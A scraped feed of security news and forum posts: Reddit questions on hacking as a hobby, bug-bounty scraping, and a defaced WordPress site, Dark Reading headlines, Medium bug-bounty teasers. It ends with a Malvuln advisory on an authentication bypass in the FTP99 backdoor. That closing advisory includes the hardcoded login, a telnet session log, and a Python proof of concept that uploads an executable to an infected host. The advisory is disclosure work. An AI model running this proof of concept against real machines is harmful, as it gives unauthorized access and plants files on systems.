hacking: security in practice
Is hacking viable as only as hobby / as a non-professional

Hi, sorry if this is the wrong sub, sorry for bad english.

My question is simply: Is hacking viable as a hobby. By "viable" I mean, if you pursued hacking as a hobby besides your 9-5 job and are not working in IT security or something related, will you even see any results in a resonable time. Or is the learning curve so steap that a hobbyist will work on it for two decades and still have no where near enough skills for "real world application"? (as in, not only solving challenges specifcally created to be solved)

I am torn wheiter hacking is for me, on one side I have a deep passion for computers/coding/problem-solving/math, but I am worried I will spend a big chunck of my life pursuing this field only to find out at the end of my life that I have achieved nothing of relevance.

submitted by /u/n0tALizard
[link] [comments]

hacking: security in practice
Scraper for bug bounty reports for specific vendors

I am looking for ideas for scrapping bug bounty reports from sites like BugCrowd or HackerOne. I'd like to monitor for bounties posted by vendors and any reports posted for those programs. Setting up alerts or monitoring news/social media is good but those reports often are not disclosed publicly or if they are posted to late. Monitoring this way may help prevent supply chain attacks, formulating ideas now and would appreciate any input. Thanks

submitted by /u/ashertehll6831
[link] [comments]

hacking: security in practice
Compromised website junk text over original page

My website was compromised. Someone put over junk text over original page. Examples below:

* https://accept.aseanenergy.org/Baby-Boys-Gentleman-Outfits-Suits-Long-Sleeve-Onesie-Romper/Bow-tie-Shirt-Bib-Pants-Overall-Clothes-Set-1046975/
* https://accept.aseanenergy.org/event/asean-energy-outlook-forum-2022/

Website uses Wordpress as backend CMS and bitnami.

My question would be:

1. Does this type of attack has any specific terminology?
2. What are the possible cause?
3. Which server side file might be compromised?
4. Tips to prevent this from happening again?

Thanks a lot.

submitted by /u/pinokioblabla
[link] [comments]

hacking: security in practice
I have a P.C and Laptop. which one should I use to install linux to learn cyber security ?

and also , which flavour of linux should I chose ?

submitted by /u/DaFukTheyDoinOvaDer
[link] [comments]

Dark Reading: Attacks/Breaches
Tales from the Dark Web, Part 2: Ransomware Stacked With Distribution Services Creates the Perfect Storm

Security professionals need to understand the actors behind ransomware threats, how they operate and how they continuously find new victims to target

Dark Reading: Attacks/Breaches
Test Your Team, Not Just Your Disaster Recovery Plan

Cyberattacks imperil business continuity, but there is a much more common security threat — unintentional human error.

Dark Reading: Attacks/Breaches
Cyber-Physical Security: What It Is and What You Should Do

Ancillary installations like the Internet of Things, operational technology, and industrial control systems enable lots of great functionality, and they face most of the same risks as IT infrastructure.

Dark Reading: Attacks/Breaches
4 Steps Toward Knowing Your Exploitable Attack Surface

Actionable steps you can take today to identify the true risk your organization faces — learn how to separate the exploitable vulnerabilities from the rest.

I found a way to extract passwords from any iOS device. When I reported it to Apple? Silence.
https://medium.com/@ConnorFord1/i-found-a-way-to-extract-passwords-from-any-ios-device-when-i-reported-it-to-apple-silence-a027b12b7013?source=rss------bug_bounty-5

Apple’s Bug Bounty program, in theory, incentivizes programmers to report flaws they find in the company’s code. In practice? Not so much.Continue reading on Medium » (https://medium.com/@ConnorFord1/i-found-a-way-to-extract-passwords-from-any-ios-device-when-i-reported-it-to-apple-silence-a027b12b7013?source=rss------bug_bounty-5)

I found a way to extract passwords from any iOS device. When I reported it to Apple? Silence.

Apple’s Bug Bounty program, in theory, incentivizes programmers to report flaws they find in the company’s code. In practice? Not so much.Continue reading on Medium »
Read more...

Ensuring protocol security with Immunefi bug bounty program

Calling all devs and hackers. Help enhance our smart contract security and prevent thefts, freezes, and unintended changes and earn.Continue reading on Medium »
Read more...

Exploit Collector
Backdoor.Win32.FTP99 Authentication Bypass

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
Backdoor.Win32.FTP99 malware suffers from an authentication bypass vulnerability.

MD5 | 1e88fdedfe58e2a0eb8b026d597d1e0a

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP99
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 1492. Credentials are stored in cleartext in "Serv-u.ini" file under "C:\Program Files (x86)\My Paquet archive" with a blank password. Third-party attackers who can reach the system before a password has been set can logon by just supplying the username "HACKCITY".

"Serv-u.ini"

[USER=hackcity]
Password=
HomeDir=c:\
AlwaysAllowLogin=YES

Type: PE32
MD5: 09dd14d3988e08a56798b1480c55a5b0
Vuln ID: MVID-2022-0465
Dropped files: Windll16.exe
Disclosure: 01/24/2022

Exploit/PoC:
telnet.exe x.x.x.x 1492
220-Serv-U FTP-Server v2.3b for WinSock ready...
220 0wn3d
230 User HACKCITY logged in
HELP
214- The following commands are recognized (* => unimplemented).
USER PORT RETR ALLO DELE SITE XMKD CDUP
PASS PASV STOR REST CWD STAT RMD XCUP
ACCT TYPE APPE RNFR XCWD HELP XRMD STOU
REIN STRU SMNT RNTO LIST NOOP PWD SIZE
QUIT MODE SYST ABOR NLST MKD XPWD MDTM
214 Serv-U, registered to: Data Case
SYST
215 UNIX Type: L8
PASV
227 Entering Passive Mode (192,168,18,129,206,190)
STOR DOOM.exe
150 Opening ASCII mode data connection for DOOM.exe.
STOR DOOM.exe
226 Transfer complete - file DOOM.exe received successfully
from socket import *

MALWARE_HOST="192.168.18.129"
PORT=52926
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com